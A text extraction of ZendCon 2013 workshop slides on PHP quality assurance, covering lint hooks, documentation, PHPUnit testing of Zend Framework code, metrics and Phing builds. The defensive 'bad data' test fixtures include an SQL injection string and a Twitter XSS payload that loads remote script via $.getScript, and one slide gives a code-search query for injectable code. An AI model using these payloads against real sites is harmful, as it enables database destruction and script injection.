SlideShare a Scribd company logo
1 of 236
Download to read offline
Quality Assurance
for PHP projects
ZendCon 2013 - Santa Clara
Michelangelo van Dam
Thank you for having us
Schedule Workshop
Introduction to Quality Assurance
Revision control
Documenting
Testing
Measuring
Automating
Team works!
#phpqa
Introduction to QA
Why QA?
Why QA
Safeguarding code
Detect bugs early
Observe behavior
Prevent accidents from happening
Tracking progress
Why invest in QA?
Keeps your code in shape
Measures speed and performance
Boosts team spirit
Saves time
Reports continuously
Delivers ready to deploy packages
Quality Assurance Tools
Revision Control
Subversion
GIT
GitHub
Bitbucket
Mercurial
Bazaar
FTP
Advantages of SCM
• team development possible
• tracking multi-versions of source code
• moving back and forth in history
• tagging of milestones
• backup of source code
• accessible from
- command line
- native apps
- IDE’s
- analytical tools
TIP:	
  hooks	
  for	
  tools
GIT Workflow
GIT-SCM
• Distributed SCM
- everyone has a “master” repository
• Works with public and private repositories
- private: work in progress
- public: finished work
• Requires hierarchies to manage
Integration
Developer
Private
Developer
Private
Developer
Private
Integration
Manager
Developer
Public
Developer
Public
Developer
Public
Blessed
Repo
Branching
Commit small
Commit often
SCM Branching
Master
Project
Feature
Task/Issue
Real world branching
More on GIT
• GIT book:
http://git-scm.com/book/en
• GIT tutorial:
http://try.github.io
• GIT branching tutorial:
http://pcottle.github.io/learnGitBranching/
• GIT Flow:
http://nvie.com/posts/a-successful-git-branching-
model/
• Github flow:
http://scottchacon.com/2011/08/31/github-flow.html
Recommended Reading
Syntax Checking
php	
  -­‐l	
  (lint)
h@p://www.php.net/manual/en/features.commandline.opFons.php
PHP Lint
• checks the syntax of code
• build in PHP core
• is used per file
- pre-commit hook for version control system
- batch processing of files
• can provide reports
- but if something fails -> the build fails
TIP:	
  pre-­‐commit	
  hook
Syntax
php -lf /path/to/filename.php
PHP	
  Lint	
  on	
  Command	
  Line
SVN Pre commit hook
#!/bin/sh
#
# Pre-commit hook to validate syntax of incoming PHP files, if no failures it
# accepts the commit, otherwise it fails and blocks the commit
REPOS="$1"
TXN="$2"
# modify these system executables to match your system
PHP=/usr/bin/php
AWK=/usr/bin/awk
GREP=/bin/grep
SVNLOOK=/usr/bin/svnlook
# PHP Syntax checking with PHP Lint
# originally from Joe Stump at Digg
# https://gist.github.com/53225
#
for i in `$SVNLOOK changed -t "$TXN" "$REPOS" | $AWK '{print $2}'`
do
if [ ${i##*.} == php ]; then
CHECK=`$SVNLOOK cat -t "$TXN" "$REPOS" $i | $PHP -d html_errors=off -l || echo $i`
RETURN=`echo $CHECK | $GREP "^No syntax" > /dev/null && echo TRUE || echo FALSE`
if [ $RETURN = 'FALSE' ]; then
echo $CHECK 1>&2;
exit 1
fi
fi
done
SVN	
  pre-­‐commit	
  hook
Documenting
Why documenting?
• new members in the team
• working with remote workers
• analyzing improvements
• think before doing
• used by IDE’s and editors for code hinting ;-)
PHPDoc2
phpDocumentor + DocBlox
March 16, 2012
Phpdoc2
Phpdoc2	
  class	
  details
Based	
  on	
  docblocks	
  in	
  code
And	
  the	
  output
Phpdoc2	
  class	
  relaFon	
  chart
Phpdoc2	
  on	
  your	
  project
Testing
unit testing 201:
start testing!
Any reasons not to test?
Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
• …
No excuses!
Maintainability
• during development
- test will fail indicating bugs
• after sales support
- testing if an issue is genuine
- fixing issues won’t break code base
❖ if they do, you need to fix it!
• long term projects
- refactoring made easy
Remember
“Once a test is made, it will always be tested!”
Feel like on top of the world!
Confidence
• for the developer
- code works
• for the manager
- project succeeds
• for sales / general management / share holders
- making profit
• for the customer
- paying for what they want
Everybody! likes this.
Don’t end up on this list!
extension:php mysql_query $_GET
Unit testing ZF apps
Setting things up
phpunit.xml
<phpunit bootstrap="./TestHelper.php" colors="true">
<testsuite name="Unit test suite">
<directory>./</directory>
</testsuite>
<filter>
<whitelist>
<directory suffix=".php">../application/</directory>
<directory suffix=".php">../library/Mylib/</directory>
<exclude>
<directory suffix=".phtml">../application/</directory>
</exclude>
</whitelist>
</filter>
</phpunit>
TestHelper.php
<?php
// set our app paths and environments
define('BASE_PATH', realpath(dirname(__FILE__) . '/../'));
define('APPLICATION_PATH', BASE_PATH . '/application');
define('TEST_PATH', BASE_PATH . '/tests');
define('APPLICATION_ENV', 'testing');
// Include path
set_include_path(
. PATH_SEPARATOR . BASE_PATH . '/library'
. PATH_SEPARATOR . get_include_path()
);
// Set the default timezone !!!
date_default_timezone_set('Europe/Brussels');
// We wanna catch all errors en strict warnings
error_reporting(E_ALL|E_STRICT);
require_once 'Zend/Application.php';
$application = new Zend_Application(
APPLICATION_ENV,
APPLICATION_PATH . '/configs/application.ini'
);
$application->bootstrap();
Zend_Tool since 1.11.4
• provides
• phpunit.xml
• bootstrap.php
• IndexControllerTest.php
Ralph Schindler
Let’s get started…
Testing Zend_Form
CommentForm
Name:
E-mail Address:
Website:
Comment:
Post
Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}
The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}
Protection!
Protection
Little Bobby Tables
http://xkcd.com/327/
In the news…
Is this YOU?!?
The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}
Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}
Let’s run the test
Let’s put in our elements
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true));
$this->addElement('submit', 'post', array (
'Label' => 'Post', 'Ignore' => true));
}
}
Less errors?
Filter -Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_EmailAddress(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000))),
));
Green, warm & fuzzy
You’re a winner!
☑ quality code
☑ tested
☑ secure
☑ reusable
Testing models
Testing business logic
• models contain logic
- tied to your business
- tied to your storage
- tied to your resources
• no “one size fits all” solution
Type: data containers
• contains structured data
- populated through setters and getters
• perform logic tied to it’s purpose
- transforming data
- filtering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models
Comment Class
Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
protected function setUp()
{
$this->_comment = new Application_Model_Comment();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_comment = null;
}
public function testModelIsEmptyAtConstruct()
{
$this->assertSame(0, $this->_comment->getId());
$this->assertNull($this->_comment->getFullName());
$this->assertNull($this->_comment->getEmailAddress());
$this->assertNull($this->_comment->getWebsite());
$this->assertNull($this->_comment->getComment());
}
}
This test won’t run!
Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}
We pass the test…
Really ???
Not all data from user
input!
• model can be populated from
- users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form
ALL DATA IS TAINTED!
The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}
The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}
Let’s run it
Modify our model
protected $_filters;
protected $_validators;
public function __construct($params = null)
{
$this->_filters = array (
'id' => array ('Int'),
'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
'comment' => array ('StringTrim', 'StripTags'),
);
$this->_validators = array (
'id' => array ('Int'),
'fullName' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'emailAddress' => array (
'EmailAddress',
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'website' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'comment' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000)),
),
);
if (null !== $params) { $this->populate($params); }
}
Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}
Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}
and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}
Now we’re good!
Testing Databases
Integration Testing
• database specific functionality
- triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback
Points of concern
• beware of automated data types
- auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time
The domain Model
• Model object
• Mapper object
• Table gateway object
Read more about it ☞
Change our test class
class Application_Model_CommentTest
extends PHPUnit_Framework_TestCase
becomes
class Application_Model_CommentTest
extends Zend_Test_PHPUnit_DatabaseTestCase
Setting DB Testing up
protected $_connectionMock;
public function getConnection()
{
if (null === $this->_dbMock) {
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
$this->bootstrap->bootstrap('db');
$db = $this->bootstrap->getBootstrap()->getResource('db');
$this->_connectionMock = $this->createZendDbConnection(
$db, 'zftest'
);
return $this->_connectionMock;
}
}
public function getDataSet()
{
return $this->createFlatXmlDataSet(
realpath(APPLICATION_PATH . '/../tests/_files/initialDataSet.xml'));
}
initialDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing SELECT
public function testDatabaseCanBeRead()
{
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/selectDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
selectDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing UPDATE
public function testDatabaseCanBeUpdated()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment);
$comment->setComment('I like you picking up the challenge!');
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/updateDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
updateDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I like you picking up the challenge!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing DELETE
public function testDatabaseCanDeleteAComment()
{
$comment = new Application_Model_Comment();
$mapper = new Application_Model_CommentMapper();
$mapper->find(1, $comment)
->delete($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/deleteDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
deleteDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
</dataset>
Testing INSERT
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $ds);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
id="1"
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
id="2"
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
id="3"
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
What went wrong here?
AUTO_INCREMENT
Testing INSERT w/ filter
public function testDatabaseCanAddAComment()
{
$comment = new Application_Model_Comment();
$comment->setFullName('Michelangelo van Dam')
->setEmailAddress('dragonbe@gmail.com')
->setWebsite('http://www.dragonbe.com')
->setComment('Unit Testing, It is so addictive!!!');
$mapper = new Application_Model_CommentMapper();
$mapper->save($comment);
$ds = new Zend_Test_PHPUnit_Db_DataSet_QueryDataSet(
$this->getConnection());
$ds->addTable('comment', 'SELECT * FROM `comment`');
$filteredDs = new PHPUnit_Extensions_Database_DataSet_DataSetFilter(
$ds, array ('comment' => array ('id')));
$expected = $this->createFlatXMLDataSet(
APPLICATION_PATH . '/../tests/_files/addDataSet.xml');
$this->assertDataSetsEqual($expected, $filteredDs);
}
insertDataSet.xml
<?xml version="1.0" encoding="UTF-8"?>
<dataset>
<comment
fullName="B.A. Baracus"
emailAddress="ba@a-team.com"
website="http://www.a-team.com"
comment="I pitty the fool that doesn't test!"/>
<comment
fullName="Martin Fowler"
emailAddress="fowler@acm.org"
website="http://martinfowler.com/"
comment="Models are not right or wrong; they are more or less useful."/>
<comment
fullName="Michelangelo van Dam"
emailAddress="dragonbe@gmail.com"
website="http://www.dragonbe.com"
comment="Unit Testing, It is so addictive!!!"/>
</dataset>
Run Test
Testing web services
Web services remarks
• you need to comply with an API
- that will be your reference
• you cannot always make a test-call
- paid services per call
- test environment is “offline”
- network related issues
Example: joind.in
http://joind.in/api
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
protected function setUp()
{
$this->_joindin = new Zftest_Service_Joindin();
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_joindin = null;
}
}
JoindinTest
public function testJoindinCanGetUserDetails()
{
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</
ID><last_login>1303248639</last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
Testing the service
Euh… what?
1) Zftest_Service_JoindinTest::testJoindinCanGetUserDetails
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<ID>19</ID>
- <last_login>1303248639</last_login>
+ <last_login>1303250271</last_login>
</item>
</response>
I recently logged in ✔
And this?
2) Zftest_Service_JoindinTest::testJoindinCanCheckStatus
Failed asserting that two strings are equal.
--- Expected
+++ Actual
@@ @@
<?xml version="1.0"?>
<response>
- <dt>Tue, 19 Apr 2011 22:26:40 +0000</dt>
+ <dt>Tue, 19 Apr 2011 22:26:41 +0000</dt>
<test_string>testing unit test</test_string>
</response>
Latency of the network 1s !
Solution… right here!
Your expectations
JoindinTest
<?php
class Zftest_Service_JoindinTest extends PHPUnit_Framework_TestCase
{
protected $_joindin;
protected $_settings;
protected function setUp()
{
$this->_joindin = new Zftest_Service_Joindin();
$client = new Zend_Http_Client();
$client->setAdapter(new Zend_Http_Client_Adapter_Test());
$this->_joindin->setClient($client);
$settings = simplexml_load_file(realpath(
APPLICATION_PATH . '/../tests/_files/settings.xml'));
$this->_settings = $settings->joindin;
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_joindin = null;
}
}
JoindinUserMockTest
public function testJoindinCanGetUserDetails()
{
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml
<?xml version="1.0"?>
<response>
<item>
<username>DragonBe</username>
<full_name>Michelangelo van Dam</full_name>
<ID>19</ID>
<last_login>1303248639</last_login>
</item>
</response>
EOS;
$client = $this->_joindin->getClient()->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><item><username>DragonBe</
username><full_name>Michelangelo van Dam</full_name><ID>19</ID><last_login>1303248639</
last_login></item></response>';
$this->_joindin->setUsername($this->_settings->username)
->setPassword($this->_settings->password);
$actual = $this->_joindin->user()->getDetail();
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
JoindinStatusMockTest
public function testJoindinCanCheckStatus()
{
$date = new DateTime();
$date->setTimezone(new DateTimeZone('UTC'));
$response = <<<EOS
HTTP/1.1 200 OK
Content-type: text/xml
<?xml version="1.0"?>
<response>
<dt>{$date->format('r')}</dt>
<test_string>testing unit test</test_string>
</response>
EOS;
$client = $this->_joindin->getClient()
->getAdapter()->setResponse($response);
$expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') .
'</dt><test_string>testing unit test</test_string></response>';
$actual = $this->_joindin->site()->getStatus('testing unit test');
$this->assertXmlStringEqualsXmlString($expected, $actual);
}
Good implementation?
Controller Testing
Our form flow
Setting up ControllerTest
<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}
Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}
Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}
REMARK
• data providers can be used
- to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form
Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}
Running the tests
Testing it all
Testing it all
Our progress report
Conclusion
• unit testing is simple
• combine integration tests with unit tests
• test what counts
• mock out what’s remote
Fork this code
http://github.com/DragonBe/zftest
Measuring
Code Analysis
Questions
• how stable is my code?
• how flexible is my code?
• how complex is my code?
• how easy can I refactor my code?
Answers
• PHPDepend - Dependency calculations
• PHPMD - Mess detections and code “smells”
• PHPCPD - Copy/paste detection
• PHPCS - PHP_CodeSniffer
PHP Depend
What?
• generates metrics
• measure health
• identify parts to improve (refactor)
pdepend pyramid
• CYCLO: Cyclomatic Complexity
• LOC: Lines of Code
• NOM: Number of Methods
• NOC: Number of Classes
• NOP: Number of Packages
• AHH:Average Hierarchy Height
• ANDC:Average Number of Derived Classes
• FANOUT: Number of Called Classes
• CALLS: Number of Operation Calls
Cyclomatic Complexity
• metric calculation
• execution paths
• independent control structures
- if, else, for, foreach, switch case, while, do, …
• within a single method or function
• more info
- http://en.wikipedia.org/wiki/
Cyclomatic_complexity
Average Hierarchy Height
The average of the maximum length from a root class
to its deepest subclass
pdepend pyramid
Inheritance
few classes derived from other classes
lots of classes inherit from other classes
pdepend pyramid
Size and complexity
pdepend pyramid
Coupling
pdepend pyramid
High value
pdepend-graph
graph	
  about	
  stability:	
  a	
  mix	
  between	
  abstract	
  and	
  concrete	
  classes
PHP	
  Depend
PHP Mess Detection
What?
• detects code smells
- possible bugs
- sub-optimal code
- over complicated expressions
- unused parameters, methods and properties
- wrongly named parameters, methods or properties
PHPMD	
  in	
  acFon
PHP Copy/Paste
Detection
What?
• detects similar code snippets
- plain copy/paste work
- similar code routines
• indicates problems
- maintenance hell
- downward spiral of disasters
• stimulates improvements
- refactoring of code
- moving similar code snippets in common routines
PHP CodeSniffer
Required evil
• validates coding standards
- consistency
- readability
• set as a policy for development
• reports failures to meet the standard
- sometimes good: parentheses on wrong line
- mostly bad: line exceeds 80 characters
❖ but needed for terminal viewing of code
• can be set as pre-commit hook
- but can cause frustration!!!
Performance Analysis
https://twitter.com/#!/andriesss/status/189712045766225920
Automating
Key reason
“computers are great at doing repetitive tasks very well”
Repetition
• syntax checking
• documenting
• testing
• measuring
Why Phing?
• php based (it’s already on our system)
• open-source
• supported by many tools
• very simple syntax
• great documentation
Structure of a build
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties" />
<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties"/>
<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
Structure of a build
<project name="Application build" default="phplint">
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties"/>
<property file="local.properties" override="true" />
<!-- define our code base files -->
<fileset dir="${project.basedir}" id="phpfiles">
<include name="application/**/*.php" />
<include name="library/In2it/**/*.php" />
</fileset>
<!-- let’s validate the syntax of our code base -->
<target name="phplint" description="Validating PHP Syntax">
<phplint haltonfailure="true">
<fileset refid="phpfiles" />
</phplint>
</target>
</project>
Structure of a build
<!-- set global and local properties -->
<property file="build.properties" />
<property file="local.properties" override="true" />
<?xml version="1.0" encoding="UTF-8"?>
<project name="Application build" default="phplint">
<!-- set global and local properties -->
<property file="build.properties"/>
